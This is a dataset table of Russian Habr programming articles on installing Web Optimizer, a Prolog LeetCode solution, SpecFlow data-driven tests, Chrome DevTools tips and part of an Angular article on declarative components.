text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Установка Web Optimizer
[Web Optimizer](http://code.google.com/p/web-optimizator/) (Веб Оптимизатор) — приложение, автоматизирующее все действия по клиентской оптимизации для произвольного сайта. На данный момент оно существует в виде отдельного приложения (которое нужно самостоятельно установить на сайт). В качестве базы для Web Optimizer использовался [PHP Speedy](http://aciddrop.com/php-speedy/) (который также существует в виде дополнения для Wordpress, Joomla и Drupal).
Давайте рассмотрим, каким образом можно установить Web Optimizer.
### Шаг 1: загрузка архива
Web Optimizer поставляется в виде ZIP-архива, который [выложен на code.google.com](http://code.google.com/p/web-optimizator/downloads/list). Загружаем последнюю стабильную (Featured) версию в корень сайта. Если к сайту есть SSH-доступ, то можно использовать просто `wget`:
>
> ```
> wget http://web-optimizator.googlecode.com/files/web-optimizer.v0.2.5.zip
> ```
>
Затем полученный архив нужно будет распаковать в корень, чтобы получилась папка `web-optimizer`.
Если к сайту есть только FTP-доступ, то загружаем сначала на локальный диск, потом распаковываем, а потом уже (например, через FAR) копируем в корень сайта.
После того, как все необходимые файлы оказались на сайте, то нужно выставить права на запись, как минимум, для файла `web-optimizer/config.php` и папки `web-optimizer/cache` для пользователя, под которым работает сервер. Иначе просто настройки и закэшированные версии сжатых файлов не смогут сохраниться
### Шаг 2: настройка доступа
Заходим в браузере по адресу
>
> ```
> http://ваш_сайт/web-optimizer/
> ```
>
И видим приветственный экран от Web Optimizer. Если не видим, то стоит перепроверить, куда был скопирован Web Optimizer, а зайти именно в ту папку.
На этом шаге нам нужно задать пользователя и пароль, под которыми будут доступны настройки приложения. Логин/пароль сохраняются в конфигурационном файле в виде md5-хэша, так что никаких проблем с безопасностью нет (ну разве что злоумышленник сможет каким-то образом переписать сам `config.php` и заменить в нем хэши на нужные ему).
### Шаг 3: корневая директория
Здесь нам нужно задать физическую директорию, в которой сайт расположен на сервере. Это нужно для расчета всех путей к файлам. Если директория отличается от вычисленной автоматически, то ее стоит задать вручную.
### Шаг 4: настройка приложения
Здесь начинается самое интересное: нам нужно задать настройки приложения (все они сохраняются в файле `config.php`, затем его можно изменить вручную). Кратко о настройках:
* **Директории кэширования** располагаются по умолчанию в вышеупомянутой папке `cache`, менять не рекомендуется (особенно, если вы зададите их вне дерева сайта — тогда закэшированные файлы просто не загрузятся). Сюда складываются минимизированные и объединенные JavaScript- и CSS-файлы и картинки, полученные от CSS Sprites.
* **Minify** убирает из CSS- и JS-Файлов все ненужные символы. CSS при использовании CSS Sprites минимизируется через CSS Tidy, иначе внутренним алгоритмом. JavaScript — через JSMin. HTML — при помощи внутреннего алгоритма. При минимизации CSS-файлы объединяются в один (даже с различными `media`-параметрами)Планируется добавить поддержку YUI Compressor и Packer.
* **GZIP** отвечает за `gzip`-сжатие файлов. Если используется `.htaccess`, то все настройки по сжатию (и клиентскому кэшированию) располагаются в нем. Иначе все сжатие выполняется с помощью PHP.
* **`Expires` в далеком будущем** гарантирует, что будучи единожды загруженными статические файлы будут запрошены с сервера только при своем изменении (сброс кэша осуществляется на уровне проверки даты изменения файла, но работает только для CSS- и JavaScript-файлов).
* **CSS Sprites** автоматически создает из исходных фоновых изображений в CSS-файлах набор CSS Sprites (подробнее о [механизме генерации CSS Sprites](http://habrahabr.ru/blogs/web_optimizator/54283/)). Есть настройка для создания полноцветных изображений в JPEG-формате (меньше по размеру, но возможны проблемы с прозрачностью). Новые изображения заменяют старые эквиваленты в итоговом CSS-файле.
* **`data:URI`** заменяет все фоновые изображения в файле на их `data:URI`, добавляя правила для IE6-/7. Стоит осторожно использовать при большом объеме CSS Sprites — итоговый файл может получиться весьма значительным.
* **`htaccess`** позволяет записать условия `gzip`-сжатия и кэширования файлов в `.htaccess`-файле, чтобы перенести работу по кэшированию и архивированию с PHP на Apache. По необходимости правила можно перенести и в `httpd.conf`, При подключении `.htaccess` Apache анализируется на предмет подключенных модулей и автоматически выбираются доступные, если какой-то модуль был выбран в конфигурации, но не доступен, то относящиеся к нему правила записаны не будут.
* **Очистка кэширующей директории** позволит автоматически «подчищать» старые версии файлов в серверном кэше. Если на сайте используются разные наборы исходных файлов в `head`, то опцию нужно отключить, иначе файлы в кэше будут постоянно обновляться.
* **Обратная ссылка** выставляется на сайт проекта Web Optimizer.
* При возможности записи корневого файла `index.php` появится опция `auto_rewrite` (начиная с версии 0.2.5). Если она включена, то все необходимые инструкции автоматически добавятся в файл.
Выбираем все нужные настройки (по умолчанию выбрана наиболее оптимальная конфигурация) и переходим дальше.
### Шаг 5: активируем
Если на предыдущем шаге была включена опция `auto_rewrite` и `index.php` доступен для записи, то он обновится сам. Иначе нужно будет открыть основной файл используемой CMS и добавить туда две строки. Одну в самое начало файла (естественно, как PHP-код):
>
> ```
> (require('корневая_директория_на_сервере/web-optimizer/web.optimizer.php')
> ```
>
и вторую — в самый конец:
>
> ```
> $web_optimizer->finish();
> ```
>
Первая строка подключает сам Web Optimizer, а вторая выводит подготовленное содержание страницы. Если `index.php` обновить не удалось, то обе строки будут выведены на экран, их можно скопировать и добавить самостоятельно.
### Шаг 6: проверяем
Рекомендуется сразу зайти на сайт, чтобы сгенерировать первоначальные файлы в кэше. Также возможны проблемы (и ошибки) при работе приложения: оно еще очень сырое, и многие места просто не отлажены. Поэтому лучше устанавливать сначала Web Optimizer На тестовый хост и проверять работоспособность на нем. В ближайшем будущем будет подготовлены полноценная тестовая страница.
### Шаг 7: дополнительная безопасность
Если безопасность сайта является очень критичной, то можно после установки снять права на запись для файла `web-optimizer/config.php` и удалить файл `install.php`. После этого извне Web Optimizer настроить будет невозможно.
На данный момент приложение достаточно молодое и не лишено некоторого количества ошибок. Однако весь исходный код [выложен в открытом доступе](http://code.google.com/p/web-optimizator/). Если у вас есть силы или желание поучаствовать в развитии проекта (или портировать его на другие платформы / языки) — напишите, пожалуйста, в комментариях. В любом случае, если вы просто установите приложение на ваш сайт и напишите о возникших (если такие будут) проблемах — это уже будет очень большое подспорье. | https://habr.com/ru/post/55031/ | null | ru | null |
# Разминки с Прологом
Путешественники, привет.
Если вы это читаете предлагаю продолжение того "занимательного" материала, который я писал перед этим. Если вы немного проследили за мыслью, которая изветвилась в три статьи, а основной то посыл — был, только в том, чтобы показать интерес к декларативному подходу. Он почему то не велик, как будто эСКюэЛ не стал общедоступным и обязательным, ведь без него невозможно подумать, а как можно обработать данные иначе. Правда, ведь лучше сформулировать задачу и не заботиться о том, во что это воплощается.
Перейдем к делу, я перед этим писал про попытки вас повеселить, так что продолжу показывать пример использования пролога, хоть предыдущие статьи и показали, что интерес к питону и даже го, вызовет заинтересованность сразу на пару тысяч человек, что интерес к новости про новую батарейку к Тесле, вызывает стотысч просмотров, а для написания программ, на *самом разработничестском портале* не так, немногие, замеченные за этим поведением, отметились о прочтении в комментариях, и возможно пятёрка из них, после второго прочтения этого предложения еще заморочится мыслью, что стоит это читать далее...
Получилось, гипотеза заинтересовать не выполняется, и тогда просто покажу, как можно использовать пролог, это инструмент современный, развивающийся, и свободно распространяющийся, его можно брать и формулировать, только вот, что бы такое можно было бы сформулировать, чтобы увидеть преимущество.
Скажу, что путешествий во времени и не существует, но отправимся на неделю назад, там в ленте проскакивал Занимательный Пролог о трех частях, вот именно там была затронута тема решения случайно попавшейся новой задачи, я беру [этот](http://leetcode.com) интересный сайт, и самое сложное задание (только не превращения строки в число) ), попробую сделать в **Прологе**.
Хватит вызывать заинтересованность, начинаю...
Задача 446 [arithmetic-slices-ii-subsequence](https://leetcode.com/problems/arithmetic-slices-ii-subsequence/)
==============================================================================================================
> A sequence of numbers is called arithmetic if it consists of at least three elements and if the difference between any two consecutive elements is the same.
>
> For example, these are arithmetic sequences:
>
> 1, 3, 5, 7, 9
>
> 7, 7, 7, 7
>
> 3, -1, -5, -9
>
> The following sequence is not arithmetic.
>
> 1, 1, 2, 5, 7
Всего-то, разница между двумя соседями должна сохраняться, всего лишь это надо проверить?
Читаем далее:
> A zero-indexed array A consisting of N numbers is given. A subsequence slice of that array is any sequence of integers (P0, P1, ..., Pk) such that 0 ≤ P0 < P1 <… < Pk < N.
>
> A subsequence slice (P0, P1, ..., Pk) of array A is called arithmetic if the sequence A[P0], A[P1], ..., A[Pk-1], A[Pk] is arithmetic. In particular, this means that k ≥ 2.
>
> The function should return the number of arithmetic subsequence slices in the array A.
Ничего себе формулировочка, нужно узнать какое количество срезов можно встретить, сколько вариантов подсписков можно найти, так чтобы разница рядом стоящих элементы не отличалась.
Как будто подсписки в одном большом множестве всех перестановок входного списка.
> Example:
>
> Input: [2, 4, 6, 8, 10]
>
> Output: 7
>
> Explanation:
>
> All arithmetic subsequence slices are:
>
> [2,4,6]
>
> [4,6,8]
>
> [6,8,10]
>
> [2,4,6,8]
>
> [4,6,8,10]
>
> [2,4,6,8,10]
>
> [2,6,10]
Я знаю как выразить подсписок в прологе, это:
```
sublists(InputList, SubList):-
append(Prefix,Root,InputList),
append(SubList,Suffix,Root).
```
Как проверить что список нужного вида — проверять надо по тройкам:
```
is_seq(A,B,C]):-A-B =:=B-C.
is_seq(A,B,C|Tail]):-A-B =:=B-C, is_seq(B,C|Tail]).
```
Если отбросить перестановки всех элементов списка, то оказывается, что это не просто подсписки элементов стоящих рядом, это такие подсписки, которые сформировались с пропуском элементов.
Тогда выразим это вот так:
```
seq(_,[]).
seq([H|T],[H|T1]):-seq(T,T1).
seq([_|T],T1):-seq(T,T1).
```
Такое правило будет возвращать все возможные подсписки из списка, но начинать может с одного элемента, или пропустив его, со следующего, также в конце может быть отброшено любое количество.
Итого получим завышенное количество решений, сразу видно что пустой список вернется много раз также не избежать повторений при отбрасывании элементов с конца.
Просмотрев предлагаемые тесты на эту задачу, оказалось, что на входе могут быть и повторяющиеся значения, что для такого списка [0,1,2,2,2] должно быть 4-ре решения. Каждую 2-ку можно взять отдельно, и это надо считать отдельным срезом, итого подойдут три варианта [0,1,2] и один [2,2,2].
Вот тут незадача, ведь генератор последовательностей будет выдавать повторяющиеся значения, а как сделать подсчет только уникальных? Придется их помечать, сделать так чтобы списки отличались друг от друга. Все решение построю на том чтобы сгенерировать списки, проверить условие и подсчитать количество решений. А что делать с повторами решений...
Сделаю простую нумерацию элементов, пусть список превращается в список из компонентов Значение/Индекс, структурированный терм, так называют это. Для вышеприведенного примера это будет [0/1,1/2,2/3,2/4,2/5]. Последовательности сгенерированные по такому входу, уже все будут отличаться.
Вот так, можно превратить список в помеченный:
```
label([],[],_).
label([A|T],[A/N|T1],N):-N1 is N+1, label(T,T1,N1).
```
Ну и важнейший момент, проверка на арифметичность is\_seq, после ряда попыток, с учетом помеченного списка, это правило превратилось в достаточно сложное выражение. Тут проверим, что тройки чисел соответствуют условию, и подсчитаем ключ конкретно этого решения, для исключения уникальных решений потребовался ключ, это поможет собрать все ключи в список и потом их подсчитать.
На входе помеченный список, выходом будет величина ключа, подсчитаем ее как целое число, разрядами которого будут сумма Значение+Индекс для каждого элемента.
```
%is_seq список, максимальный индекс, ключ
is_seq([A/An,B/Bn,C/Cn],2,N):-
A-B=:=B-C,
N is 10000*(A+An)+100*(B+Bn)+(C+Cn).
is_seq([A/An,B/Bn,C/Cn|T],K,N):-
A-B=:=B-C,
is_seq([B/Bn,C/Cn|T],K1,N1),
K is K1+1,
N is N1+(A+An)*(100**K).
```
Для подсчета всех решений, воспользуюсь встроенной возможность выполнить цель и собрать все уникальные решения в список setof(). Собирать просто список всех последовательностей оказалось совсем неэффективным, отсюда возникли идеи ключа, как более простого значения:
```
get_number(List,N) :-
label(List,ListL,1),
setof(Len,K^Sub^(seq(ListL,Sub),is_seq(Sub,K,Len)),Result),
length(Result,N),!.
get_number(_,0).
```
Конечно, в таком решении производительность не особо выразилась.
Вот такой полный текст программы, со списком тестов, который хардкорно выужен с сайта с задачей (это всего лишь часть тестов):
```
label([],[],_).
label([A|T],[A/N|T1],N):-N1 is N+1, label(T,T1,N1).
seq(_,[]).
seq([H|T],[H|T1]):-seq(T,T1).
seq([_|T],T1):-seq(T,T1).
is_seq([A/An,B/Bn,C/Cn],2,N):-
A-B=:=B-C,
N is 10000*(A+An)+100*(B+Bn)+(C+Cn).
is_seq([A/An,B/Bn,C/Cn|T],K,N):-
A-B=:=B-C,
is_seq([B/Bn,C/Cn|T],K1,N1),
K is K1+1,
N is N1+(A+An)*(100**K).
get_number(List,N) :- label(List,ListL,1),setof(Len,K^Sub^(seq(ListL,Sub),is_seq(Sub,K,Len)),Result),
length(Result,N),!.
get_number(_,0).
%unit-tests framework
assert_are_equal(Goal, false):-get_time(St),not(Goal),!,get_time(Fin),Per is round(Fin-St),writeln(Goal->ok:Per/sec).
assert_are_equal(Goal, true):- get_time(St),Goal, !,get_time(Fin),Per is round(Fin-St),writeln(Goal->ok:Per/sec).
assert_are_equal(Goal, Exp):-writeln(Goal->failed:expected-Exp).
%all test
:-assert_are_equal(get_number([2,4,6,8,10],7),true).
:-assert_are_equal(get_number([],0),true).
:-assert_are_equal(get_number([1],0),true).
:-assert_are_equal(get_number([1,2],0),true).
:-assert_are_equal(get_number([1,2,3],1),true).
:-assert_are_equal(get_number([1,2,3,4],3),true).
:-assert_are_equal(get_number([1,2,3,4,5],7),true).
:-assert_are_equal(get_number([1,2,3,4,5,6],12),true).
:-assert_are_equal(get_number([1,2,3,4,5,6,7],20),true).
:-assert_are_equal(get_number([1,2,3,4,5,6,7,8],29),true).
:-assert_are_equal(get_number([1,2,3,4,5,6,7,8,9],41),true).
:-assert_are_equal(get_number([1,2,3,4,5,6,7,8,9,10],55),true).
:-assert_are_equal(get_number([2,2,3,4],2),true).
:-assert_are_equal(get_number([0,1,2,2,2],4),true).
:-assert_are_equal(get_number([0,2000000000,-294967296],0),true).
:-assert_are_equal(get_number([1,1,1],1),true).
:-assert_are_equal(get_number([1,1,1,1],5),true).
:-assert_are_equal(get_number([1,1,1,1,1],16),true).
:-assert_are_equal(get_number([1,1,1,1,1,1],42),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1],99),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1],219),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1,1],466),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1,1,1],968),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1,1,1,1],1981),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1,1,1,1,1],4017),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1,1,1,1,1,1],8100),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1,1,1,1,1,1,1],16278),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],32647),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],65399),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],130918),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],261972),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],524097),true).
:-assert_are_equal(get_number([1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],1048365),true).
```
Как неутешительный результат, вот такая эффективность:
```
get_number([2, 4, 6, 8, 10], 7)->ok:0/sec
get_number([], 0)->ok:0/sec
get_number([1], 0)->ok:0/sec
get_number([1, 2], 0)->ok:0/sec
get_number([1, 2, 3], 1)->ok:0/sec
get_number([1, 2, 3, 4], 3)->ok:0/sec
get_number([1, 2, 3, 4, 5], 7)->ok:0/sec
get_number([1, 2, 3, 4, 5, 6], 12)->ok:0/sec
get_number([1, 2, 3, 4, 5, 6, 7], 20)->ok:0/sec
get_number([1, 2, 3, 4, 5, 6, 7, 8], 29)->ok:0/sec
get_number([1, 2, 3, 4, 5, 6, 7, 8, 9], 41)->ok:0/sec
get_number([1, 2, 3, 4, 5, 6, 7, 8, 9, 10], 55)->ok:0/sec
get_number([2, 2, 3, 4], 2)->ok:0/sec
get_number([0, 1, 2, 2, 2], 4)->ok:0/sec
get_number([0, 2000000000, -294967296], 0)->ok:0/sec
get_number([1, 1, 1], 1)->ok:0/sec
get_number([1, 1, 1, 1], 5)->ok:0/sec
get_number([1, 1, 1, 1, 1], 16)->ok:0/sec
get_number([1, 1, 1, 1, 1, 1], 42)->ok:0/sec
get_number([1, 1, 1, 1, 1, 1, 1], 99)->ok:0/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1], 219)->ok:0/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1, 1], 466)->ok:0/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1, 1, 1], 968)->ok:0/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], 1981)->ok:0/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], 4017)->ok:0/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], 8100)->ok:0/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], 16278)->ok:0/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], 32647)->ok:1/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], 65399)->ok:1/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], 130918)->ok:3/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], 261972)->ok:6/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], 524097)->ok:12/sec
get_number([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], 1048365)->ok:27/sec
```
Собирать список, даже просто ключей решений, очень громоздко, но это декларативное решение, без этого не удается подсчитать все уникальные решения.
Выводом.
========
Вот так формулируются задачи на языке Пролог, простое перенесение постановки задачи в программу чревато недостаточной эффективностью. А может в этой задаче только алгоритмическое решение доступно? Насколько нужно усложнить процесс?
Опять оставляю вопросы…
Все таки, поиск ответов и интересен в нашей профессии, правда? | https://habr.com/ru/post/428704/ | null | ru | null |
# Data Driven Tests & SpecFlow
[SpecFlow](http://www.specflow.org/specflownew/) позволяет использовать встроенные таблицы для Data Driven сценариев. В своей практике я столкнулся с двумя проблемами при таком подходе:
1. Иногда хочется, наоборот, получить авто-документацию из теста (например, тестирование API)
2. Когда количество данных велико, лучше хранить их где-то отдельно (часто для Acceptance Test Case'ов используют Excel)
Покопавшись в Gesigner Generated коде я смог решить обе проблемы.
#### Напишем базовый класс для тестов, которые не будут использовать DSL
```
[TestFixture]
public class DslGenerationTestsBase : TestsBase
{
private static ITestRunner _testRunner;
[TestFixtureSetUp]
public virtual void FeatureSetup()
{
_testRunner = TestRunnerManager.GetTestRunner();
var features = GetType().GetCustomAttributes(typeof (FeatureAttribute), false);
if (!features.Any())
{
throw new ConfigurationErrorsException("Feature Attribute is required");
}
var feature = (FeatureAttribute)features.Single();
var featureInfo = new FeatureInfo(
new System.Globalization.CultureInfo("en-US"),
feature.Title,
feature.Story,
ProgrammingLanguage.CSharp, null);
_testRunner.OnFeatureStart(featureInfo);
}
[TestFixtureTearDown]
public virtual void FeatureTearDown()
{
_testRunner.OnFeatureEnd();
_testRunner = null;
}
[TearDown]
public virtual void TearDown()
{
_testRunner.OnScenarioEnd();
}
protected void ScenarioSetup(ScenarioInfo scenarioInfo)
{
_testRunner.OnScenarioStart(scenarioInfo);
}
protected void ScenarioCleanup()
{
_testRunner.CollectScenarioErrors();
}
protected void Given(string given, string keyword = "Given ")
{
_testRunner.Given(given, null, null, keyword);
}
protected void When(string when, string keyword = "When ")
{
_testRunner.When(when, null, null, keyword);
}
protected void Then(string then, string keyword = "Then ")
{
_testRunner.Then(then, null, null, keyword);
}
}
```
Для того, чтобы описать Feature в декларативном стиле, напишем собственный атрибут. Мы используем NUnit. Для того, чтобы Feature попала в отчет необходимо использовать DescriptionAttribute. Поэтому, унаследуем наш атрибут от него.
```
[AttributeUsage(AttributeTargets.Class, AllowMultiple = false)]
public class FeatureAttribute : DescriptionAttribute
{
public string Title { get; private set; }
public string Story { get; private set; }
public CultureInfo CultureInfo { get; private set; }
public FeatureAttribute(string title, string story):base(title)
{
Title = title;
Story = story;
CultureInfo = new CultureInfo("en-US");
}
public FeatureAttribute(string title, string story, CultureInfo cultureInfo)
: base(title)
{
Title = title;
Story = story;
CultureInfo = cultureInfo;
}
}
```
#### И напишем класс с тестом
Вместо TestCase можно использовать TestCaseSource и читать данные из любого источника.
```
[Binding]
[Feature("DslGeneration",
"In order to avoid silly mistakes\n" +
"As a math idiot\n" +
"I want to be told the sum of two numbers")]
[Category("Examples")]
public class DataDrivenDslGenerationExample : DslGenerationTestsBase
{
private decimal _a;
private decimal _b;
[TestCase("1", "2", "3")]
[TestCase("2", "3", "5")]
public void CodeSomeTest_DslIsGenerated(string a, string b, string c)
{
var scenarioInfo = new ScenarioInfo("DslGeneration Outline", null);
ScenarioSetup(scenarioInfo);
Given("Calculator is on");
When(string.Format("User fill {0} and {1}", a, b));
Then(string.Format("{0} is returned", c));
ScenarioCleanup();
}
[Given(@"Calculator is on")]
public void CalculatorIsOn()
{
}
[When(@"User fill (.*) and (.*)")]
public void Fill(int a, int b)
{
_a = a;
_b = b;
}
[Then(@"(.*) is returned")]
public void ResultReturned(int c)
{
var actual = _a + _b;
Assert.AreEqual(c, actual);
}
}
```
Если ваш базовый класс находится в другой сборке, то нужно будет добавить ее в конфигурацию:
```
```
#### Вот и все, теперь с помощью SpecFlow.exe можно сгенерировать красивый отчет
Таким образом, можно создать авто-документацию для API и сценариев с большим количеством данных. | https://habr.com/ru/post/181311/ | null | ru | null |
# 10 малоизвестных возможностей инструментов разработчика Chrome
Автор заметки, перевод которой мы публикуем, пользуется инструментами разработчика Chrome почти каждый день. Здесь он хочет рассказать о малоизвестных возможностях этих инструментов. Он говорит, что если бы знал о них раньше, то ему они точно бы пригодились.
[](https://habr.com/ru/company/ruvds/blog/470411/)
1. Простой способ получения ссылки на любой исследуемый элемент
---------------------------------------------------------------
Инструменты разработчика Chrome позволяют получить в консоли ссылку на любой исследуемый элемент. Для этого нужно, работая в панели `Elements`, щёлкнуть правой кнопкой мыши по элементу и выбрать в выпадающем меню пункт `Store as global variable`.
*Простой способ получения ссылки на любой исследуемый элемент*
2. Создание интерактивных выражений, прикреплённых к консоли
------------------------------------------------------------
В инструментах разработчика можно создавать интерактивные выражения, прикреплённые к верхней части консоли, значения которых постоянно поддерживаются в актуальном состоянии. Порядок создания таких выражений показан на следующем рисунке. Если вы знаете о том, что некие элементы на странице должны обновляться, эта возможность может оказаться очень полезной для наблюдения за ними.
*Интерактивные выражения в Chrome*
3. Имитация медленных интернет-соединений
-----------------------------------------
Вкладка `Network` инструментов разработчика Chrome позволяет имитировать подключение браузера к различным сетям. Эта возможность способна оказаться крайне полезной для того, чтобы оценить поведение страницы в ситуации, когда на её загрузку требуется несколько секунд.
*Исследование страницы с имитацией различных способов подключения к интернету*
4. Отключение кэша, сохранение логов при переходе между страницами
------------------------------------------------------------------
Мне приходилось встречаться с множеством проблем, которые, как оказалось, не были ошибками. Их причиной была неправильная загрузка кэшированного кода. Для того чтобы избавиться от подобных неприятностей, можно полностью отключить кэширование, воспользовавшись возможностями вкладки `Network`. Речь идёт о флажке `Disable cache`. Обратите внимание на то, что кэш не работает только при открытой панели инструментов разработчика.
Сохранение логов — это ещё одна полезная возможность, благодаря которой консоль не очищается при перезагрузке исследуемой страницы. Включает эту возможность флажок `Preserve log` на вкладке `Network`.
*Отключение кэша и сохранение логов*
5. Создание копий экрана
------------------------
Инструменты разработчика Chrome включают в себя встроенное средство для создания скриншотов. Для того чтобы им воспользоваться, нужно, при открытом окне инструментов, применить комбинацию клавиш `Ctrl+Shift+P`, а затем ввести в появившемся поле ключевое слово `screenshot` и выбрать необходимый способ создания скриншота.
*Создание скриншота из панели инструментов разработчика*
6. Команда console.log() — это далеко не единственный способ что-то логировать в консоль
----------------------------------------------------------------------------------------
Все пользуются командой `console.log()` для логирования отладочных данных. Однако этой командой возможности по логированию не исчерпываются. В частности, в распоряжении разработчика имеются команды `console.warn()` и `console.error()`.
Данные команды выводят в консоль сообщения разных уровней логирования — это, соответственно, предупреждения и сообщения об ошибках. Они выделены разным цветом и значками. Сообщения, выведенные в консоль разными командами, можно фильтровать.
*Команды console.warn() и console.error()*
Для вывода в консоль неких структурированных данных, удобно оформленных в виде таблицы, можно воспользоваться командой `console.table()`.
*Команда console.table()*
Возможности по работе с консолью этими командами не ограничиваются. Например, существуют ещё такие команды, как `console.assert()` и `console.group()`. [Здесь](https://developers.google.com/web/tools/chrome-devtools/console/log) можно найти подробный рассказ о подобных командах.
7. Конструкция $\_ возвращает самое свежее вычисленное выражение
----------------------------------------------------------------
Конструкцию `$_` можно использовать для возврата значения предыдущей операции, выполненной в консоли.
*Использование конструкции $\_*
8. Команда $() — это сокращение для document.querySelector()
------------------------------------------------------------
Команду `$()` можно использовать в консоли для быстрого выбора элемента. Возможности jQuery тут, кстати, не применяются, хотя на первый взгляд может показаться, что это не так.
Аналогично, команда `$$()` — это сокращение для `document.querySelectorAll()`.
*Использование $()*
9. Включение состояний элементов, таких, как hover или focus, в панели Styles
-----------------------------------------------------------------------------
Если в ходе исследования элемента нужно изучить его поведение в состоянии `hover`, это может оказаться непростой задачей, так как для перевода элемент в это состояние нужно, чтобы над ним находился бы указатель мыши. Решение этой задачи можно облегчить, воспользовавшись возможностями панели `Styles`. Тут можно принудительно переводить элементы в такие состояния, как `hover` или `focus`.
*Принудительный перевод элемента в заданное состояние*
10. Сочетание нажатия на клавишу Ctrl и щелчка мыши помогает найти определение CSS-правила
------------------------------------------------------------------------------------------
Вам когда-нибудь нужно было узнать о том, где описано некое CSS-правило? Эту задачу очень легко решить, нажав на клавишу `Ctrl` и щёлкнув мышью по интересующему вас правилу. В macOS вместо `Ctrl` используется `Cmd`.
*Ctrl+щелчок мышью — поиск места определения CSS-правила*
**Уважаемые читатели!** Что бы вы добавили в приведённый здесь список малоизвестных возможностей инструментов разработчика Chrome?
[](https://ruvds.com/vps_start/)
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/470411/ | null | ru | null |
# Декларативный подход в Angular
Когда я впервые услышал про compliant-механизмы, был весьма впечатлен. Хоть они и окружают нас в повседневности — в виде застежек рюкзака, кнопок мыши или колпачков от шампуней, — мы редко задумываемся о концепции таких устройств.
Если говорить кратко, в compliant-механизме для обеспечения его технических характеристик используют деформацию. В то время как в традиционной технике (rigid body) гибкость зачастую является негативным качеством материала, сompliant-механизмы используют ее для передачи силы и движения в нужном направлении, вместо соединений из нескольких подвижных деталей.
Поскольку такой механизм является единым целым, а не набором частей, скрепленных осями, резьбой, шарнирами, дающими люфт, лишнее трение и сложное изнашивание, — его движение полностью предсказуемо. Подобная точность понятна: ты двигаешь одну часть, а все остальное связано с ней изгибающимися секциями. Они не могут изменяться в размере, как традиционные пружины, и постоянно корректируют, направляют друг друга.
Я нахожу в этом отличную аналогию на декларативный подход в программировании — в противовес императивному, в котором, подобно передачи движения через шарниры и оси, команды управляют изменениями состояния. И я хотел бы поделиться определенной философией написания Angular-кода, сложившейся у меня за время работы над библиотекой переиспользуемых компонентов для пользовательского интерфейса.
Compliant-компоненты
--------------------
Angular изначально предполагает определенную долю декларативности: дата-байндинг, работа с событиями, активное использование observable-модели. Несложные компоненты буквально описаны утверждениями, что чем является и как связано с окружением. Они не выглядят набором инструкций, изменяющих состояние в ту или иную сторону. Однако с усложнением задачи компонент может легко утратить это описательное качество и превратиться в череду вызовов, подписок и хранимых данных, отвечающих за его поведение, синхронизировать которые становится всё сложнее.
При внимательном рассмотрении оказывается, что состоянием компонента часто являются только его инпуты, а остальное можно вычислить. Это означает — использовать геттер. Чтобы лучше это понять, давайте создадим несколько компонентов, используя такой подход.
### Линейный график
Это довольно незамысловатый компонент. Мы передаем ему массив пар чисел и хотим, чтобы SVG построил по ним путь. Мы постараемся организовать наш код так, чтобы в нем не было императивных манипуляций с состоянием. Можно повесить компонент прямо на нативный SVG, чтобы избежать вложенности:
```
@Component({
selector: "svg[lineChart]",
templateUrl: "./line-chart.template.html",
styleUrls: ["./line-chart.style.less"],
changeDetection: ChangeDetectionStrategy.OnPush,
host: {
preserveAspectRatio: "none"
}
})
export class LineChartComponent {}
```
Кроме данных нужно также задать границы видимой области. Можно просто задать `viewBox` снаружи, но куда удобнее вынести это в отдельные инпуты и собрать строку геттером:
```
@HostBinding('attr.viewBox')
get viewBox(): string {
return `${this.x} ${this.y} ${this.width} ${this.height}`;
}
```
Чтобы сделать компонент интереснее, давайте добавим инпут на уровень сглаживания. Шаблон будет состоять из единственного `path`-элемента:
Нам нужно рассчитать атрибут `d`. Одним из вариантов может стать сеттер на входные данные. Но в будущем мы можем добавить другие связанные функции, например заливку под графиком или подсказки при наведении. Поэтому давайте добавим геттер, чтобы не управлять состоянием вручную:
```
get d(): string {
return this.data.reduce(
(d, point, index) =>
index ? `${d} ${draw(this.data, index, this.smoothing)}` : `M ${point}`,
""
);
}
```
Вот и всё! Сами функции, рассчитывающие путь, я описывать не буду — их можно нагуглить. В конце будет живое демо всех созданных в статье компонентов, где вы сможете подглядеть исходный код.
### Media-директива
